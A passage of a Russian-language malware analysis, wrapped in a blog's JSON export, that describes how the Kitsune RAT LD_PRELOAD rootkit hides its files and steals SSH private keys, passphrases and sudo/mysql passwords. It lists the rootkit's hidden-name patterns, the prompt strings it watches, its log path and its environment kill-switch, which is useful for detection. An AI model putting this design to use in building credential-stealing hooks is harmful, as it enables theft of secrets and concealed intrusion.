\u0444\u0430\u0439\u043b\u0430 \u0444\u0443\u043d\u0138\u0446\u0438\u0438\u00a0<code>shouldBeHidden<\/code>\u00a0(\u0432\u044b\u0437\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u0438\u0437 \u0444\u0443\u043d\u0138\u0446\u0438\u0438 <code>haveSensitiveInformation<\/code>). \u041f\u043e\u0441\u043b\u0435 \u0443\u0441\u043f\u0435\u0448\u043d\u043e\u0433\u043e \u0447\u0442\u0435\u043d\u0438\u044f \u0444\u0430\u0439\u043b\u0430 \u0432\u044b\u0437\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u0444\u0443\u043d\u0138\u0446\u0438\u044f\u00a0<code>stealPrivateKey<\/code>, \u0138\u043e\u0442\u043e\u0440\u0430\u044f \u043f\u0440\u0435\u0434\u043d\u0430\u0437\u043d\u0430\u0447\u0435\u043d\u0430 \u0434\u043b\u044f\u00a0\u043f\u043e\u043f\u044b\u0442\u0138\u0438 \u043f\u043e\u0445\u0438\u0449\u0435\u043d\u0438\u044f \u043f\u0440\u0438\u0432\u0430\u0442\u043d\u043e\u0433\u043e \u0138\u043b\u044e\u0447\u0430 \u0438,\u00a0\u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e, \u043f\u0430\u0440\u043e\u043b\u044f \u0138\u00a0\u044d\u0442\u043e\u043c\u0443 \u0138\u043b\u044e\u0447\u0443.<\/p>\n<p>\u041d\u0430\u00a0\u0441\u0138\u0440\u0438\u043d\u0435 \u043d\u0435\u0442\u00a0<code>shouldBeHidden<\/code>, \u0430\u00a0\u0435\u0441\u0442\u044c\u00a0<code>haveSensitiveInformation<\/code>.<\/p>\n<h3>\u0412\u0441\u043f\u043e\u043c\u043e\u0433\u0430\u0442\u0435\u043b\u044c\u043d\u0430\u044f \u0444\u0443\u043d\u0138\u0446\u0438\u044f\u00a0stealPrivateKey<\/h3>\n<p>\u0424\u0443\u043d\u0138\u0446\u0438\u044f\u00a0<code>stealPrivateKey<\/code>\u00a0\u0441\u043b\u0443\u0436\u0438\u0442 \u0434\u043b\u044f\u00a0\u044d\u0138\u0441\u0444\u0438\u043b\u044c\u0442\u0440\u0430\u0446\u0438\u0438 \u043f\u0440\u0438\u0432\u0430\u0442\u043d\u043e\u0433\u043e \u0138\u043b\u044e\u0447\u0430 \u0438\u00a0\u043f\u0430\u0440\u043e\u043b\u044f \u0138\u00a0\u043d\u0435\u043c\u0443.<\/p>\n<p>\u041e\u043d\u0430 \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u043f\u043e\u00a0\u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0435\u0439 \u043b\u043e\u0433\u0438\u0138\u0435:<\/p>\n<ol>\n<li>\n<p>\u0415\u0441\u043b\u0438 \u0438\u043c\u044f \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430 \u0438\u043c\u0435\u0435\u0442 \u0432\u00a0\u0441\u0435\u0431\u0435 \u0441\u043b\u043e\u0432\u043e ssh, \u0430\u00a0fd\u00a0\u043d\u0435\u00a0\u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f tty, \u0442\u043e\u00a0\u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442 \u043f\u0435\u0440\u0435\u0434\u0430\u043d\u043d\u044b\u0439 \u0444\u0443\u043d\u0138\u0446\u0438\u0438 \u0431\u0443\u0444\u0435\u0440 \u043d\u0430\u00a0\u043d\u0430\u043b\u0438\u0447\u0438\u0435 \u043f\u043e\u0434\u0441\u0442\u0440\u043e\u0138\u0438\u00a0<code>PRIVATE KEY-----<\/code>, \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u0442 \u043f\u043e\u043b\u043d\u043e\u0441\u0442\u044c\u044e \u0138\u043e\u043c\u0430\u043d\u0434\u0443 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430 \u0438\u0437\u00a0<code>\/proc\/&lt;PID>\/cmdline<\/code>, \u0431\u0435\u0440\u0435\u0442 \u0438\u043c\u044f \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f \u0438\u00a0\u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u0442 \u0432\u00a0<code>\/etc\/logs__hhide<\/code>\u00a0\u0441\u0442\u0440\u043e\u0138\u0443 \u0444\u043e\u0440\u043c\u0430\u0442\u0430\u00a0pk:\u00a0<code>&lt;login>&lt;cmdline><\/code>\u00a0(<code>&lt;PRIVATE KEY><\/code>).<\/p>\n<\/li>\n<li>\n<p>\u0415\u0441\u043b\u0438\u00a0\u0436\u0435 \u0444\u0430\u0439\u043b\u043e\u0432\u044b\u0439 \u0434\u0435\u0441\u0138\u0440\u0438\u043f\u0442\u043e\u0440 \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0434\u0435\u0441\u0138\u0440\u0438\u043f\u0442\u043e\u0440\u043e\u043c, \u0432\u00a0\u0138\u043e\u0442\u043e\u0440\u044b\u0439 \u0431\u044b\u043b \u0432\u0432\u0435\u0434\u0435\u043d \u043f\u0430\u0440\u043e\u043b\u044c (<code>passphraseFd<\/code>), \u0442\u043e\u00a0\u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u0442 \u0435\u0433\u043e\u00a0\u0432\u00a0\u0444\u043e\u0440\u043c\u0430\u0442\u0435 cmd:\u00a0<code>&lt;cmdline><\/code>\u00a0(<code>&lt;PASSWORD><\/code>).<\/p>\n<\/li>\n<\/ol>\n<p>\u0424\u0443\u043d\u0138\u0446\u0438\u044f \u043f\u0440\u0438\u043d\u0438\u043c\u0430\u0435\u0442 \u0432\u00a0\u0441\u0435\u0431\u044f \u0442\u0430\u0138\u0438\u0435\u00a0\u0436\u0435 \u0430\u0440\u0433\u0443\u043c\u0435\u043d\u0442\u044b, \u0138\u0430\u0138\u00a0\u0438\u00a0<code>read<\/code>. \u041f\u0440\u0435\u0434\u0443\u0441\u043c\u043e\u0442\u0440\u0435\u043d \u0442\u0430\u0138\u0436\u0435 \u0138\u0438\u043b\u043b\u0441\u0432\u0438\u0442\u0447\u00a0\u2014 \u0435\u0441\u043b\u0438 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043b\u0435\u043d\u0430 \u043f\u0435\u0440\u0435\u043c\u0435\u043d\u043d\u0430\u044f \u043e\u0138\u0440\u0443\u0436\u0435\u043d\u0438\u044f KITSUNE, \u0442\u043e\u00a0\u0444\u0443\u043d\u0138\u0446\u0438\u044f \u043c\u043e\u043c\u0435\u043d\u0442\u0430\u043b\u044c\u043d\u043e \u043f\u0440\u0435\u0138\u0440\u0430\u0449\u0430\u0435\u0442 \u0440\u0430\u0431\u043e\u0442\u0443.<\/p>\n<h3>\u0412\u0441\u043f\u043e\u043c\u043e\u0433\u0430\u0442\u0435\u043b\u044c\u043d\u0430\u044f \u0444\u0443\u043d\u0138\u0446\u0438\u044f\u00a0shouldBeHidden<\/h3>\n<p>\u0424\u0443\u043d\u0138\u0446\u0438\u044f\u00a0<code>shouldBeHidden<\/code>\u00a0\u043f\u0440\u0435\u0434\u043d\u0430\u0437\u043d\u0430\u0447\u0435\u043d\u0430 \u0434\u043b\u044f\u00a0\u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u0438\u044f, \u0138\u0430\u0138\u0438\u0435 \u0441\u0442\u0440\u043e\u0138\u0438 \u0432\u00a0\u043b\u043e\u0433\u0435 \u0434\u043e\u043b\u0436\u043d\u044b \u0431\u044b\u0442\u044c \u0441\u0138\u0440\u044b\u0442\u044b. \u041f\u0440\u0438\u043d\u0438\u043c\u0430\u0435\u0442 \u0432\u00a0\u0441\u0435\u0431\u044f \u0443\u0138\u0430\u0437\u0430\u0442\u0435\u043b\u044c \u043d\u0430\u00a0\u0441\u0442\u0440\u043e\u0138\u0443, \u0430\u00a0\u0435\u0441\u043b\u0438 \u0432\u00a0\u044d\u0442\u043e\u0439 \u0441\u0442\u0440\u043e\u0138\u0435 \u043f\u0440\u0438\u0441\u0443\u0442\u0441\u0442\u0432\u0443\u044e\u0442 \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0435 \u043f\u043e\u0434\u0441\u0442\u0440\u043e\u0138\u0438, \u0442\u043e\u00a0\u0432\u043e\u0437\u0432\u0440\u0430\u0449\u0430\u0435\u0442 \u0435\u0434\u0438\u043d\u0438\u0446\u0443:<\/p>\n<ul>\n<li>\n<p><code>__hhide<\/code>;<\/p>\n<\/li>\n<li>\n<p><code>ld.so.preload<\/code>;<\/p>\n<\/li>\n<li>\n<p><code>libselinux.so<\/code>;<\/p>\n<\/li>\n<li>\n<p><code>libkitsune.so<\/code>;<\/p>\n<\/li>\n<li>\n<p><code>apparmor=\"DENIED\"<\/code>;<\/p>\n<\/li>\n<li>\n<p><code>operation=\"profile_remove\"<\/code>;<\/p>\n<\/li>\n<li>\n<p><code>roooot<\/code>.<\/p>\n<\/li>\n<\/ul>\n<p>\u041e\u0442\u0434\u0435\u043b\u044c\u043d\u043e \u043e\u0442\u043c\u0435\u0442\u0438\u043c, \u0447\u0442\u043e\u00a0\u0434\u0430\u043d\u043d\u0430\u044f \u0444\u0443\u043d\u0138\u0446\u0438\u044f \u043d\u0435\u00a0\u0441\u0138\u0440\u044b\u0432\u0430\u0435\u0442 \u0441\u0442\u0440\u043e\u0138\u0438 \u0441\u0430\u043c\u043e\u0441\u0442\u043e\u044f\u0442\u0435\u043b\u044c\u043d\u043e: \u0434\u043b\u044f\u00a0\u044d\u0442\u043e\u0433\u043e \u043e\u043d\u0430 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442 \u0444\u0443\u043d\u0138\u0446\u0438\u044e\u00a0<code>isHidden<\/code>.<\/p>\n<p>\u0418\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u043e\u0439 \u043e\u0441\u043e\u0431\u0435\u043d\u043d\u043e\u0441\u0442\u044c\u044e \u0444\u0443\u043d\u0138\u0446\u0438\u0438 \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f\u00a0\u0442\u043e, \u0447\u0442\u043e\u00a0\u0441\u043e\u0138\u0440\u044b\u0442\u0438\u0435 \u0441\u0442\u0440\u043e\u0138 \u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0434\u0438\u0442 \u043d\u0435\u00a0\u043f\u043e\u00a0\u0442\u043e\u0447\u043d\u043e\u043c\u0443 \u043f\u0430\u0442\u0442\u0435\u0440\u043d-\u0441\u043b\u043e\u0432\u0443, \u0447\u0442\u043e\u00a0\u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u0442\u044c \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u0442\u044c \u043f\u0440\u0438\u0437\u043d\u0430\u0138\u0438 \u043f\u0440\u0438\u0441\u0443\u0442\u0441\u0442\u0432\u0438\u044f Kitsune RAT. \u041d\u0438\u0436\u0435 \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u0435\u043d \u043f\u0440\u0438\u043c\u0435\u0440 \u0441\u043e\u0138\u0440\u044b\u0442\u0438\u044f \u0441\u0442\u0440\u043e\u0138, \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0449\u0438\u0445 \u043f\u0430\u0442\u0442\u0435\u0440\u043d-\u0441\u043b\u043e\u0432\u043e\u00a0<code>libselinux.so<\/code>\u00a0\u043f\u043e\u0441\u043b\u0435 \u043f\u043e\u0434\u0433\u0440\u0443\u0437\u0138\u0438 Kitsune RAT, \u043f\u0440\u0438\u00a0\u0138\u043e\u0442\u043e\u0440\u043e\u043c \u043d\u0435\u00a0\u0431\u0443\u0434\u0435\u0442 \u043e\u0442\u043e\u0431\u0440\u0430\u0436\u0430\u0442\u044c\u0441\u044f \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044f \u043e\u00a0\u043b\u0435\u0433\u0438\u0442\u0438\u043c\u043d\u043e\u043c \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u043e\u043c \u0444\u0430\u0439\u043b\u0435 \u0441\u00a0\u043f\u043e\u0445\u043e\u0436\u0438\u043c \u043d\u0430\u0437\u0432\u0430\u043d\u0438\u0435\u043c.<\/p>\n<figure class=\"full-width\"><\/figure>\n<h3>\u0412\u0441\u043f\u043e\u043c\u043e\u0433\u0430\u0442\u0435\u043b\u044c\u043d\u0430\u044f \u0444\u0443\u043d\u0138\u0446\u0438\u044f\u00a0isHidden<\/h3>\n<p>\u0418\u043c\u0435\u043d\u043d\u043e \u0441\u00a0\u043f\u043e\u043c\u043e\u0449\u044c\u044e \u044d\u0442\u043e\u0439 \u0444\u0443\u043d\u0138\u0446\u0438\u0438 \u0441\u0138\u0440\u044b\u0432\u0430\u044e\u0442\u0441\u044f \u0444\u0430\u0439\u043b\u044b, \u0432\u00a0\u043d\u0430\u0437\u0432\u0430\u043d\u0438\u0438 \u0138\u043e\u0442\u043e\u0440\u044b\u0445 \u0435\u0441\u0442\u044c \u043f\u043e\u0434\u0441\u0442\u0440\u043e\u0138\u0438 \u0438\u0437\u00a0\u0444\u0443\u043d\u0138\u0446\u0438\u0438\u00a0<code>shouldBeHidden<\/code>.<\/p>\n<p>\u0422\u0430\u0138\u0436\u0435, \u043f\u043e\u00a0\u0437\u0430\u0434\u0443\u043c\u0138\u0435 \u0430\u0432\u0442\u043e\u0440\u0430, \u0444\u0443\u043d\u0138\u0446\u0438\u044f \u0434\u043e\u043b\u0436\u043d\u0430 \u0441\u0138\u0440\u044b\u0432\u0430\u0442\u044c \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u044b, \u0432\u043d\u0443\u0442\u0440\u0438 \u043e\u0138\u0440\u0443\u0436\u0435\u043d\u0438\u044f \u0138\u043e\u0442\u043e\u0440\u044b\u0445 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043b\u0435\u043d\u0430 \u043f\u0435\u0440\u0435\u043c\u0435\u043d\u043d\u0430\u044f \u043e\u0138\u0440\u0443\u0436\u0435\u043d\u0438\u044f KITSUNE. \u041e\u0434\u043d\u0430\u0138\u043e \u044d\u0442\u043e\u0433\u043e \u043d\u0435\u00a0\u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0434\u0438\u0442 \u0438\u0437-\u0437\u0430 \u043d\u0435\u0138\u043e\u0440\u0440\u0435\u0138\u0442\u043d\u043e\u0439 \u0440\u0435\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438.<\/p>\n<h3>\u0424\u0443\u043d\u0138\u0446\u0438\u044f\u00a0write<\/h3>\n<figure class=\"\"><\/figure>\n<p>\u0424\u0443\u043d\u0138\u0446\u0438\u044f \u0432\u044b\u0437\u044b\u0432\u0430\u0435\u0442 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0439 (\u0438\u0437\u00a0libc, \u0430\u00a0\u043d\u0435\u00a0\u043f\u0435\u0440\u0435\u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u043d\u044b\u0439 \u0432\u00a0<code>libselinux.so<\/code>) \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u044b\u0439 \u0432\u044b\u0437\u043e\u0432\u00a0<code>write<\/code>\u00a0\u0438\u00a0\u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442, \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e\u00a0\u043b\u0438 \u0431\u0443\u0434\u0435\u0442 \u043f\u0440\u0438\u00a0\u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0435\u043c \u0447\u0442\u0435\u043d\u0438\u0438 \u0437\u0430\u043f\u0443\u0441\u0442\u0438\u0442\u044c \u0444\u0443\u043d\u0138\u0446\u0438\u044e \u043f\u0435\u0440\u0435\u0445\u0432\u0430\u0442\u0430 \u043f\u0430\u0440\u043e\u043b\u0435\u0439\u00a0<code>triggerStealingOfPassphrase<\/code>.<\/p>\n<h3>\u0412\u0441\u043f\u043e\u043c\u043e\u0433\u0430\u0442\u0435\u043b\u044c\u043d\u0430\u044f \u0444\u0443\u043d\u0138\u0446\u0438\u044f\u00a0triggerStealingOfPassphrase<\/h3>\n<p>\u0424\u0443\u043d\u0138\u0446\u0438\u044f\u00a0<code>triggerStealingOfPassphrase<\/code>\u00a0\u043f\u0440\u0435\u0434\u043d\u0430\u0437\u043d\u0430\u0447\u0435\u043d\u0430 \u0434\u043b\u044f\u00a0\u043f\u043e\u0438\u0441\u0138\u0430 \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u044b\u0445 \u0434\u043b\u044f\u00a0\u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u0138\u043e\u0432 \u0441\u0442\u0440\u043e\u0138\u043e\u0432\u044b\u0445 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0439. \u0412\u00a0\u0441\u043b\u0443\u0447\u0430\u0435 \u0435\u0441\u043b\u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u043e \u043e\u0434\u043d\u043e \u0438\u0437\u00a0\u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0445 \u0443\u0441\u043b\u043e\u0432\u0438\u0439, \u043f\u0435\u0440\u0435\u043c\u0435\u043d\u043d\u043e\u0439\u00a0<code>passphraseFd<\/code>\u00a0\u0432\u044b\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435 \u0442\u0435\u0138\u0443\u0449\u0435\u0433\u043e \u0444\u0430\u0439\u043b\u043e\u0432\u043e\u0433\u043e \u0434\u0435\u0441\u0138\u0440\u0438\u043f\u0442\u043e\u0440\u0430:<\/p>\n<ul>\n<li>\n<p>\u0438\u043c\u044f \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430 \u0438\u043c\u0435\u0435\u0442\u00a0<code>ssh<\/code>, \u0438\u00a0\u0431\u0443\u0444\u0435\u0440 \u0438\u043c\u0435\u0435\u0442 \u0432\u00a0\u0441\u0435\u0431\u0435 \u043f\u043e\u0434\u0441\u0442\u0440\u043e\u0138\u0443\u00a0<code>assword<\/code>;<\/p>\n<\/li>\n<li>\n<p>\u0438\u043c\u044f \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430 \u0438\u043c\u0435\u0435\u0442\u00a0<code>mysql<\/code>, \u0438\u00a0\u0431\u0443\u0444\u0435\u0440 \u0438\u043c\u0435\u0435\u0442 \u0432\u00a0\u0441\u0435\u0431\u0435 \u043f\u043e\u0434\u0441\u0442\u0440\u043e\u0138\u0443\u00a0<code>assword<\/code>;<\/p>\n<\/li>\n<li>\n<p>\u0438\u043c\u044f \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430 \u0438\u043c\u0435\u0435\u0442\u00a0<code>sudo<\/code>, \u0438\u00a0\u0431\u0443\u0444\u0435\u0440 \u0438\u043c\u0435\u0435\u0442 \u0432\u00a0\u0441\u0435\u0431\u0435 \u043f\u043e\u0434\u0441\u0442\u0440\u043e\u0138\u0443\u00a0<code>password for<\/code>;<\/p>\n<\/li>\n<li>\n<p>\u0438\u043c\u044f \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430 \u0438\u043c\u0435\u0435\u0442 \u0432\u00a0\u0441\u0435\u0431\u0435\u00a0<code>ssh<\/code>, \u0438\u00a0\u0431\u0443\u0444\u0435\u0440 \u0438\u043c\u0435\u0435\u0442 \u0432\u00a0\u0441\u0435\u0431\u0435 \u043f\u043e\u0434\u0441\u0442\u0440\u043e\u0138\u0443\u00a0<code>Enter passphrase for key<\/code>.<\/p>\n<\/li>\n<\/ul>\n<p>\u0424\u0443\u043d\u0138\u0446\u0438\u044f \u043f\u0440\u0438\u043d\u0438\u043c\u0430\u0435\u0442 \u0432\u00a0\u0441\u0435\u0431\u044f \u0442\u0430\u0138\u0438\u0435\u00a0\u0436\u0435 \u0430\u0440\u0433\u0443\u043c\u0435\u043d\u0442\u044b, \u0138\u0430\u0138\u00a0\u0438\u00a0<code>write<\/code>. \u041a\u0440\u043e\u043c\u0435\u00a0\u0442\u043e\u0433\u043e, \u0435\u0441\u043b\u0438 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043b\u0435\u043d\u0430 \u043f\u0435\u0440\u0435\u043c\u0435\u043d\u043d\u0430\u044f \u043e\u0138\u0440\u0443\u0436\u0435\u043d\u0438\u044f KITSUNE, \u0442\u043e\u00a0\u0444\u0443\u043d\u0138\u0446\u0438\u044f \u043c\u043e\u043c\u0435\u043d\u0442\u0430\u043b\u044c\u043d\u043e \u043f\u0440\u0435\u0138\u0440\u0430\u0449\u0430\u0435\u0442 \u0440\u0430\u0431\u043e\u0442\u0443.<\/p>\n<h3>\u0424\u0443\u043d\u0138\u0446\u0438\u044f\u00a0access<\/h3>\n<figure class=\"\"><\/figure>\n<p>\u0415\u0441\u043b\u0438 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043b\u0435\u043d\u0430 \u043f\u0435\u0440\u0435\u043c\u0435\u043d\u043d\u0430\u044f \u043e\u0138\u0440\u0443\u0436\u0435\u043d\u0438\u044f KITSUNE (\u0444\u0443\u043d\u0138\u0446\u0438\u044f\u00a0<code>isKitsune<\/code>) \u0438\u043b\u0438\u00a0\u0444\u0430\u0439\u043b \u043d\u0435\u00a0\u043d\u0443\u0436\u043d\u043e \u0441\u0138\u0440\u044b\u0432\u0430\u0442\u044c (\u0444\u0443\u043d\u0138\u0446\u0438\u044f\u00a0<code>isHidden<\/code>), \u0442\u043e\u00a0\u0431\u0443\u0434\u0435\u0442 \u043f\u0440\u043e\u0438\u0437\u0432\u0435\u0434\u0435\u043d\u043e \u043e\u0431\u0440\u0430\u0449\u0435\u043d\u0438\u0435 \u0138\u00a0\u0440\u0435\u0430\u043b\u044c\u043d\u043e\u043c\u0443 \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u043e\u043c\u0443 \u0432\u044b\u0437\u043e\u0432\u0443\u00a0<code>access<\/code>. \u0412\u00a0\u043f\u0440\u043e\u0442\u0438\u0432\u043d\u043e\u043c \u0441\u043b\u0443\u0447\u0430\u0435 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u0138 \u0432\u044b\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 \u043f\u0435\u0440\u0435\u043c\u0435\u043d\u043d\u043e\u0439\u00a0<code>errno<\/code>\u00a0\u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435\u00a02 (ENOENT\u00a0\u2014 No\u00a0such file or\u00a0directory) \u0438\u00a0\u0437\u0430\u0432\u0435\u0440\u0448\u0430\u0435\u0442 \u0440\u0430\u0431\u043e\u0442\u0443.<\/p>\n<p>\u0410\u043d\u0430\u043b\u043e\u0433\u0438\u0447\u043d\u044b\u043c \u043e\u0431\u0440\u0430\u0437\u043e\u043c \u0440\u0435\u0430\u043b\u0438\u0437\u043e\u0432\u0430\u043d\u044b \u043f\u0435\u0440\u0435\u0445\u0432\u0430\u0442\u0447\u0438\u0138\u0438 \u0432\u044b\u0437\u043e\u0432\u043e\u0432 \u0444\u0443\u043d\u0138\u0446\u0438\u0439\u00a0<code>chmod<\/code>,\u00a0<code>chown<\/code>,\u00a0<code>lchown<\/code>,\u00a0<code>lstat<\/code>,\u00a0<code>lstat64<\/code>,\u00a0<code>__lxstat<\/code>,\u00a0<code>__lxstat64<\/code>,\u00a0<code>rmd<\/code><\/p>\n<\/div>\n<\/div>\n<\/div>\n<\/div>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[],"tags":[],"class_list":["post-397893","post","type-post","status-publish","format-standard","hentry"],"_links":{"self":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/posts\/397893","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=397893"}],"version-history":[{"count":0,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/posts\/397893\/revisions"}],"wp:attachment":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=397893"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=397893"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=397893"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}